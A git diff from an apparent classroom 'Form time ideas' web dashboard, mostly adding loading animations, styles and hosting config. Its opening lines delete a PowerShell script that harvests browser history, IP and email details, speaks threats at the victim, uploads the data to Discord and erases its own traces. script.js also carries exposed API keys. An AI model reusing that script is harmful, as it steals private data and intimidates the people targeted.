- $s1.Speak("You have $ram gigabytes of ram. Poor you :(. You wont need this pc then.")
-}
-
-$pornSites = @("pornhub", "xvideos", "redtube", "youporn", "xhamster")
-foreach ($site in $pornSites){
-if ($E_his -match $site -or $E_Boo -match $site -or $C_his -match $site -or $C_boo -match $site -or $F_his -match $site) {
-$porn = $true
-break
-}
-}
-
-
-# if pass is bigger or less then
-if ($pass -gt 6) {
- $message = "A password thats $passLength characters long. Well done. Your not as dumb as you seem, still pretty dumb."
-}
-else {
- $message = "A password thats $passLength characters long is not secure at all mate. Pretty dumb."
-}
-
-if ($days -gt 30) {
- $message = $message + " You have not changed your password in $days days. You should change it. Or i will invite my friends over to your house and we will change it for you...."
-}
-else {
- $message = $message + " You have changed your password in $days days. Good job. Guess if you keep this up il have to find a new victim."
-}
-[console]::beep(1000,500), [console]::beep(2000,200)
-$s2.Speak("Nice to see your bwowSer history is somewhat clean")
-
-if ($porn) {
-$s2.speak("Eww, nevermid, wtf have u looked up")
-}
-
-
-$s2.Speak($message)
-[console]::beep(1000,500), [console]::beep(2000,200)
-
-
-$s1.Speak("You think i am just making this info up, well think again... I am sure you thought $pass as a password was sucure...")
-[console]::beep(1000,500)
-$s2.Speak("Your public IP address is $ip. I can use it to track your location and find out even more about you.")
-[console]::beep(1000,500)
-$s1.Speak("You have a lot of mail in $email. I can use it to steal your identity or scam your friends and family.")
-[console]::beep(1000,500)
-[console]::beep(1000,500), [console]::beep(2000,300), [console]::beep(1000,200)
-$s2.Speak("Want to see something cool?")
-
-
-$Image = Gen-Image -Networks $Networks
-Set-WallPaper -Image $Image -Style "Fit"
-
-Minimize-Apps
-
-
-$s2.Speak("Have a look at your desktop, You will hear from us soon $full_name. Goodluck.")
-
-# open the terminal and run the commands
-
-Start-Process -FilePath "powershell.exe" -ArgumentList "-NoExit -Command 'Get-Process | Out-File -FilePath C:\Users\Public\Documents\processes.txt'" -WindowStyle Hidden
-
-
-reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
-
-# Delete powershell history
-
-Remove-Item (Get-PSreadlineOption).HistorySavePath -ErrorAction SilentlyContinue
-
-# Remove-Item "C:\Users\Public\Documents\test.png"
-
-Add-Type -AssemblyName System.Windows.Forms
-$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')
-
-Upload-Discord -file "C:\Users\Public\Documents\test.png"
-
-# Save all $E_his, $E_Boo, $C_his, $C_boo, $F_his to a file
-$E_his | Out-File -FilePath "C:\Users\Public\Documents\edge_history.txt"
-$E_Boo | Out-File -FilePath "C:\Users\Public\Documents\edge_bookmarks.txt"
-$C_his | Out-File -FilePath "C:\Users\Public\Documents\chrome_history.txt"
-$C_boo | Out-File -FilePath "C:\Users\Public\Documents\chrome_bookmarks.txt"
-$F_his | Out-File -FilePath "C:\Users\Public\Documents\firefox_history.txt"
-
-# combine all files into one
-Get-ChildItem -Path "C:\Users\Public\Documents\" -Filter "*.txt" | Get-Content | Out-File -FilePath "C:\Users\Public\Documents\all_history.txt"
-
-# Upload all files to discord
-Upload-Discord -file "C:\Users\Public\Documents\all_history.txt"
-
-Invoke-Item "C:\Users\Public\Documents\test.png"
-
-
-#If true, toggle CapsLock key, to ensure that the script doesn't fail
-if ($caps -eq $true) {
- $key = New-Object -ComObject WScript.Shell
- $key.SendKeys('{CapsLock}')
-}
-
-
-<#
-.NOTES
- Get-Ram
- Get-PublicIP
- Get-Pass
- Get-Networks
- Gen-Image
- Set-WallPaper
- Get-email
- Get-Days_Set
-#>
\ No newline at end of file
diff --git a/Images/test.ps1 b/Images/test.ps1
deleted file mode 100644
index 8508a09..0000000
--- a/Images/test.ps1
+++ /dev/null
@@ -1,74 +0,0 @@
-#region Boring beginning stuff
-[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
-[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
-#endregion
-
-#region begin to draw forms
-$Form = New-Object System.Windows.Forms.Form
-$Form.Text = "Computer Pinging Tool"
-$Form.Size = New-Object System.Drawing.Size(300,170)
-$Form.StartPosition = "CenterScreen"
-$Form.KeyPreview = $True
-$Form.MaximumSize = $Form.Size
-$Form.MinimumSize = $Form.Size
-
-$label = New-Object System.Windows.Forms.label
-$label.Location = New-Object System.Drawing.Size(5,5)
-$label.Size = New-Object System.Drawing.Size(240,30)
-$label.Text = "Type any computer name to test if it is on the network and can respond to ping"
-$Form.Controls.Add($label)
-$textbox = New-Object System.Windows.Forms.TextBox
-$textbox.Location = New-Object System.Drawing.Size(5,40)
-$textbox.Size = New-Object System.Drawing.Size(120,20)
-#$textbox.Text = "Select source PC:"
-$Form.Controls.Add($textbox)
-
-$ping_computer_click =
-{
-#region Actual Code
-
-$statusBar1.Text = "Testing..."
-$ComputerName = $textbox.Text
-
-if (Test-Connection $ComputerName -quiet -Count 2){
-Write-Host -ForegroundColor Green "Computer $ComputerName has network connection"
-$result_label.ForeColor= "Green"
-$result_label.Text = "System Successfully Pinged"
-}
-Else{
-Write-Host -ForegroundColor Red "Computer $ComputerName does not have network connection"
-$result_label.ForeColor= "Red"
-$result_label.Text = "System is NOT Pingable"
-}
-
-$statusBar1.Text = "Testing Complete"
-#endregion
-}
-
-$OKButton = New-Object System.Windows.Forms.Button
-$OKButton.Location = New-Object System.Drawing.Size(140,38)
-$OKButton.Size = New-Object System.Drawing.Size(75,23)
-$OKButton.Text = "OK"
-$OKButton.Add_Click($ping_computer_click)
-$Form.Controls.Add($OKButton)
-
-$result_label = New-Object System.Windows.Forms.label
-$result_label.Location = New-Object System.Drawing.Size(5,65)
-$result_label.Size = New-Object System.Drawing.Size(240,30)
-$result_label.Text = "Results will be listed here"
-$Form.Controls.Add($result_label)
-
-$statusBar1 = New-Object System.Windows.Forms.StatusBar
-$statusBar1.Name = "statusBar1"
-$statusBar1.Text = "Ready..."
-$form.Controls.Add($statusBar1)
-
-$Form.Add_KeyDown({if ($_.KeyCode -eq "Enter"){& $ping_computer_click}})
-$Form.Add_KeyDown({if ($_.KeyCode -eq "Escape")
-{$Form.Close()}})
-#endregion begin to draw forms
-
-#Show form
-$Form.Topmost = $True
-$Form.Add_Shown({$Form.Activate()})
-[void] $Form.ShowDialog()
\ No newline at end of file
diff --git a/assets/loading.css b/assets/loading.css
new file mode 100644
index 0000000..7c738f0
--- /dev/null
+++ b/assets/loading.css
@@ -0,0 +1,82 @@
+:root {
+ --bg-color: #050b29;
+ --body-color: #c2cefc;
+ --text-color: #fff;
+ --button-text-color: #808fca;
+ --wrapper-color: #2731666d;
+ --button-color: #0d1330;
+ --acent-color-1: #6849ff;
+ --acent-color-2: #43d4c3;
+ --acent-color-3: #4985fc86;
+}
+
+
+.loader {
+ /* center the element on the screen /
+display: flex;
+justify-content: center;
+align-items: center;
+height: 100vh;
+width: 100vw;
+border-radius: 10px;
+/ center everything in it */
+ text-align: center;
+ position: absolute;
+ top: 50%;
+ left: 50%;
+ transform: translate(-50%, -50%);
+}
+
+#readyLoader {
+ /* center the element within the .loader div */
+ display: flex;
+ justify-content: center;
+ align-items: center;
+ height: 50%;
+ flex-wrap: wrap;
+}
+
+.wrapper-unloaded {
+ /* set font size and text alignment */
+ font-size: 2rem;
+ text-align: center;
+
+ /* add a border and background color */
+ border-radius: 20px;
+ background-color: gray;
+
+ /* add a box shadow to give the appearance of floating */
+ box-shadow: #000 0 0 40px;
+
+ /* add margin and padding for spacing */
+ margin: 1.2rem;
+ padding: 10px;
+}
+
+@keyframes loadIn {
+ 0% {
+ background-color: gray;
+ }
+
+ 100% {
+ background-color: green;
+ }
+}
+
+.wrapper-loaded {
+ /* set font size and text alignment */
+ font-size: 2rem;
+ text-align: center;
+
+ /* add a border and background color */
+ border-radius: 20px;
+ /* background-color: green; */
+
+ /* add a box shadow to give the appearance of floating */
+ box-shadow: #000 0 0 40px;
+
+ /* add margin and padding for spacing */
+ margin: 1.2rem;
+ padding: 10px;
+ animation: loadIn 0.5s ease-in-out;
+}
\ No newline at end of file
diff --git a/assets/loading.js b/assets/loading.js
new file mode 100644
index 0000000..64db566
--- /dev/null
+++ b/assets/loading.js
@@ -0,0 +1,63 @@
+var wrapperDivs = document.getElementsByClassName("wrapper");
+var readyLoader = document.querySelector("#readyLoader");
+var allLoaded = false;
+var loadedCount = 0;
+var count = 0
+
+setTimeout(function () {
+ var wrapperDivsClassNames = [];
+ for (var i = 0; i < wrapperDivs.length; i++) {
+ var isLoaded = wrapperDivs[i].getAttribute("data-loaded");
+ wrapperDivsClassNames.push([wrapperDivs[i].id, isLoaded]);
+ var div = document.createElement("div");
+ div.id = wrapperDivs[i].id + "-loader";
+ div.innerHTML = wrapperDivs[i].id;
+ div.className = isLoaded === "true" ? "wrapper-loaded" : "wrapper-unloaded";
+ readyLoader.appendChild(div);
+ if (isLoaded === "true") {
+ loadedCount++;
+ }
+ }
+ console.log(wrapperDivsClassNames);
+}, 100);
+
+// create a function to check the data-loaded attribute
+function checkDataLoaded() {
+ loadedCount = 0;
+ var wrapperDivs = document.getElementsByClassName("wrapper");
+ readyLoader = document.querySelector("#readyLoader");
+ for (var i = 0; i < wrapperDivs.length; i++) {
+ var wrapperDiv = wrapperDivs[i];
+ var isDataLoaded = wrapperDiv.getAttribute("data-loaded");
+ var className = isDataLoaded === "true" ? "wrapper-loaded" : "wrapper-unloaded";
+ var loaderDiv = document.getElementById(wrapperDiv.id + "-loader");
+ loaderDiv.className = className;
+ // update the div background to green if data-loaded is true
+ if (isDataLoaded === "true") {
+ document.getElementById(wrapperDiv.id + "-loader").style.backgroundColor = "green";
+ loadedCount++;
+ }
+ }
+ // console.log("loadedCount: " + loadedCount);
+ // console.log(wrapperDivs.length)
+}
+
+
+
+// run the checkDataLoaded function every 2 seconds
+let intervalId = setInterval(function () {
+ checkDataLoaded();
+ console.log({ loadedCount })
+ if (loadedCount === wrapperDivs.length || count++ > 50 ) {
+ setTimeout(function () {
+ allLoaded = true;
+ console.log("all loaded");
+
+ document.querySelector(".loader").style.display = "none";
+ document.querySelector(".main").style.display = "block";
+
+ // exit the setInterval function
+ clearInterval(intervalId);
+ }, 1001);
+ }
+}, 100);
diff --git a/assets/logo.png b/assets/logo.png
index 9ffb640..0320c6d 100644
Binary files a/assets/logo.png and b/assets/logo.png differ
diff --git a/assets/logoOld.png b/assets/logoOld.png
new file mode 100644
index 0000000..9ffb640
Binary files /dev/null and b/assets/logoOld.png differ
diff --git a/assets/script.js b/assets/script.js
index ad5dc2b..62b0369 100644
--- a/assets/script.js
+++ b/assets/script.js
@@ -20,6 +20,8 @@ const quotes = [
"“The battles that count aren’t the ones for gold medals. The struggles within yourself—the invisible battles inside all of us—that’s where it’s at.” —Jesse Owens",
]
+
+
function newCountry() {
fetch("./assets/json/contries.json")
.then(response => response.json())
@@ -33,6 +35,12 @@ function newCountry() {
document.getElementById("countryShow").style.display = "None";
document.getElementById("countryShow").innerHTML = "" + country + "
";
document.getElementById("country-button").setAttribute("onclick", "showCountry()");
+
+ wrapper = document.getElementById("WhereInTheWorld")
+ wrapper.setAttribute("data-loaded", "true")
+
+ wrapper.style.display = "block";
+ wrapper.style.animation = "popInToPage 1s ease-in-out";
});
}
@@ -46,6 +54,14 @@ const showCountry = () => {
const newQuote = () => {
document.getElementById("quote").innerHTML = quotes[Math.floor(Math.random() * quotes.length)];
+
+
+
+ wrapper = document.getElementById("RandomQuote")
+ // make it visible
+ wrapper.style.display = "block";
+ wrapper.style.animation = "popInToPage 1s ease-in-out";
+ wrapper.setAttribute("data-loaded", "true")
}
newQuote();
@@ -70,6 +86,14 @@ const mentalMath = () => {
document.getElementById("maths-question").innerHTML = question;
document.getElementById("maths-button").innerHTML = "Answer";
document.getElementById("maths-button").setAttribute("onclick", "showAnswer()");
+
+
+
+ wrapper = document.getElementById("MentalMaths")
+ // make it visible
+ wrapper.style.display = "block";
+ wrapper.style.animation = "popInToPage 1s ease-in-out";
+ wrapper.setAttribute("data-loaded", "true")
}
mentalMath();
@@ -100,6 +124,12 @@ const newElement = () => {
document.getElementById("element-button").innerHTML = "Show name";
document.getElementById("element-button").setAttribute("onclick", "showElement()");
+
+
+ wrapper = document.getElementById("NameElement")
+ wrapper.style.display = "block";
+ wrapper.style.animation = "popInToPage 1s ease-in-out";
+ wrapper.setAttribute("data-loaded", "true");
}
newElement();
@@ -126,6 +156,14 @@ fetch(`https://api.wikimedia.org/feed/v1/wikipedia/en/onthisday/all/${month}/${d
let eventText = randomEvent.text;
document.getElementById("history-date").innerHTML = eventYear;
document.getElementById("history").innerHTML = "" + eventText + "
";
+
+
+
+ wrapper = document.getElementById("ThisDayInHistory")
+ // make it visible
+ wrapper.style.display = "block";
+ wrapper.style.animation = "popInToPage 1s ease-in-out";
+ wrapper.setAttribute("data-loaded", "true");
});
// Clean https://v2.jokeapi.dev/joke/Programming,Miscellaneous,Pun,Spooky,Christmas?blacklistFlags=nsfw,religious,racist,sexist,explicit
@@ -147,7 +185,15 @@ const newJoke = () => {
document.getElementById("joke-awnser").style.display = "none";
document.getElementById("joke-awnser").innerHTML = "" + delivery + "
";
document.getElementById("joke-button-div").innerHTML = "";
- }
+ }
+
+
+
+ wrapper = document.getElementById("JokeOfDay")
+ // make it visible
+ wrapper.style.display = "block";
+ wrapper.style.animation = "popInToPage 1s ease-in-out";
+ wrapper.setAttribute("data-loaded", "true");
});
}
newJoke()
@@ -169,6 +215,14 @@ const newFact = () => {
.then(data => {
let fact = data[0].fact;
document.getElementById("did-you-know").innerHTML = fact;
+
+
+
+ wrapper = document.getElementById("DidYouKnow")
+ // make it visible
+ wrapper.style.display = "block";
+ wrapper.style.animation = "popInToPage 1s ease-in-out";
+ wrapper.setAttribute("data-loaded", "true");
});
}
newFact();
@@ -181,6 +235,14 @@ fetch("https://api.wordnik.com/v4/words.json/wordOfTheDay?api_key=khcwemcse29tu1
document.getElementById("word-of-day").innerHTML = word
document.getElementById("def").style.display = "none";
document.getElementById("def").innerHTML = "" + definition + "
";
+
+
+
+ wrapper = document.getElementById("WordOfDay")
+ // make it visible
+ wrapper.style.display = "block";
+ wrapper.style.animation = "popInToPage 1s ease-in-out";
+ wrapper.setAttribute("data-loaded", "true");
});
const getDef = () => {
@@ -202,6 +264,13 @@ const newBrainteaser = () => {
document.getElementById("brainteaser-question").innerHTML = teaser;
document.getElementById("brainteaser-awser").style.display = "none";
document.getElementById("brainteaser-awser").innerHTML = "A: " + answer;
+
+
+ wrapper = document.getElementById("BrainTeaser")
+ // make it visible
+ wrapper.style.display = "block";
+ wrapper.style.animation = "popInToPage 1s ease-in-out";
+ wrapper.setAttribute("data-loaded", "true");
});
}
newBrainteaser();
@@ -230,6 +299,12 @@ const newScamble = () => {
document.getElementById("scramble-word").innerHTML = scrammbledWord;
document.getElementById("scramble-awnser").style.display = "none";
document.getElementById("scramble-awnser").innerHTML = randomWord;
+
+ wrapper = document.getElementById("WordScramble")
+ // make it visible
+ wrapper.style.display = "block";
+ wrapper.style.animation = "popInToPage 1s ease-in-out";
+ wrapper.setAttribute("data-loaded", "true");
});
}
newScamble();
@@ -247,15 +322,28 @@ fetch("https://newsapi.org/v2/top-headlines?country=gb&apiKey=dcacaf96d9f9441399
.then(response => response.json())
.then(data => {
let articles = data.articles;
+ console.log(articles)
let top3 = articles.slice(0, 3);
let news = "";
top3.forEach(article => {
news += "" + article.title + "
";
});
document.getElementById("news").innerHTML = news;
+
+
+ wrapper = document.getElementById("News")
+ // make it visible
+ wrapper.style.display = "block";
+ wrapper.style.animation = "popInToPage 1s ease-in-out";
+ wrapper.setAttribute("data-loaded", "true");
});
+// delay 30 seconds (30000)
+setTimeout(() => {
+ document.getElementById("title").innerHTML = "";
+}, 30000);
+
// delay by 10 hours (36000000)
setTimeout(() => {
location.reload();
-}, 36000000);
\ No newline at end of file
+}, 36000000);
diff --git a/assets/style.css b/assets/style.css
index 8f3cc31..cd25101 100644
--- a/assets/style.css
+++ b/assets/style.css
@@ -3,11 +3,11 @@
--body-color: #c2cefc;
--text-color: #fff;
--button-text-color: #808fca;
- --wrapper-color: #273266;
+ --wrapper-color: #2731666d;
--button-color: #0d1330;
--acent-color-1: #6849ff;
--acent-color-2: #43d4c3;
- --acent-color-3: #fc4972;
+ --acent-color-3: #4985fc86;
}
* {
@@ -16,22 +16,64 @@
Helvetica,
sans-serif;
color: var(--text-color);
- font-size: 1rem;
+ font-size: 0.65rem;
+}
+
+html {
+ height: 100%;
}
body {
- /* make lighter version of --bg-color at the bottom of the page */
- background: linear-gradient(180deg,
- var(--bg-color) 40%,
- var(--bg-color) 60%,
- #0b1a4a 90%);
margin: 0;
- padding: 0;
- height: min-content(100vh, 100%);
+}
+
+.bg {
+ animation: slide 3s ease-in-out infinite alternate;
+ background-image: linear-gradient(-60deg, rgb(72, 160, 232), rgb(0, 20, 77) 50%);
+ bottom: 0;
+ left: -50%;
+ opacity: .5;
+ position: fixed;
+ right: -50%;
+ top: 0;
+ z-index: -1;
+}
+
+.bg2 {
+ animation-direction: alternate-reverse;
+ animation-duration: 4s;
+}
+
+.bg3 {
+ animation-duration: 5s;
+}
+
+.content {
+ background-color: rgba(255, 255, 255, .8);
+ border-radius: .25em;
+ box-shadow: 0 0 .25em rgba(0, 0, 0, .25);
+ box-sizing: border-box;
+ left: 50%;
+ padding: 10vmin;
+ position: fixed;
+ text-align: center;
+ top: 50%;
+ transform: translate(-50%, -50%);
+}
+
+
+@keyframes slide {
+ 0% {
+ transform: translateX(-25%);
+ }
+
+ 100% {
+ transform: translateX(25%);
+ }
}
#title {
- font-size: 4.5rem;
+ font-size: 5rem;
font-weight: bold;
margin-bottom: -4rem;
margin-top: 0rem;
@@ -87,7 +129,7 @@ body {
/* make it look like its floating */
box-shadow: #000 0 0 40px;
text-align: center;
- display: block;
+ display: none;
overflow: auto;
margin: 1.2rem;
}
@@ -155,6 +197,14 @@ button {
box-shadow: 0 0 6px 0 rgba(0, 0, 0, 1);
}
+button:hover {
+ background: var(--acent-color-3);
+ color: var(--button-text-color);
+ box-shadow: 0 0 6px 0 rgba(0, 0, 0, 1);
+
+
+}
+
button:active {
transform: scale(0.95);
}
@@ -217,4 +267,27 @@ button:active {
width: 90%;
height: 100%;
}
+}
+
+@keyframes popInToPage {
+ 0% {
+ opacity: 0;
+ transform: scale(0.5);
+ }
+
+ 100% {
+ opacity: 1;
+ transform: scale(1);
+ }
+}
+
+/* .wrapper {
+ animation: popInToPage 1s ease-in-out;
+} */
+.wrapper {
+ transition: all 0.6s ease-in-out;
+}
+
+.wrapper:hover {
+ transform: scale(1.05);
}
\ No newline at end of file
diff --git a/firebase.json b/firebase.json
new file mode 100644
index 0000000..56db95e
--- /dev/null
+++ b/firebase.json
@@ -0,0 +1,10 @@
+{
+ "hosting": {
+ "public": "/",
+ "ignore": [
+ "firebase.json",
+ "**/.*",
+ "**/node_modules/**"
+ ]
+ }
+}
diff --git a/index.html b/index.html
index 0780bb5..6d5fb41 100644
--- a/index.html
+++ b/index.html
@@ -12,19 +12,23 @@
+
Form time ideas
-
-
+
+
+
+
Form time ideas
+
-
+
Word of the day
@@ -35,21 +39,22 @@
Word of the day
-
+
-
-
-
Random Quote
-
Quote:
-
+
+
-
-
+
+
Name the element
@@ -61,15 +66,17 @@
Name the element
-
+
This day in history
On this day in:
-
+
Where in the world
-
Can you guess the country?
+
Can you guess the country (or state)?
@@ -77,26 +84,17 @@
Where in the world
countey
-
-
Top news
-
+
+
Random Quote
+
Quote:
+
-
-
-
-
-
+
Joke of the day
@@ -104,14 +102,16 @@
Joke of the day
-
+
-
+
Mental Maths
Question:
@@ -120,7 +120,8 @@
Mental Maths
onclick="showAnswer()">Awnser
-
+
Word scramble
Unscramble the word:
@@ -131,9 +132,15 @@
Word scramble
+
+
+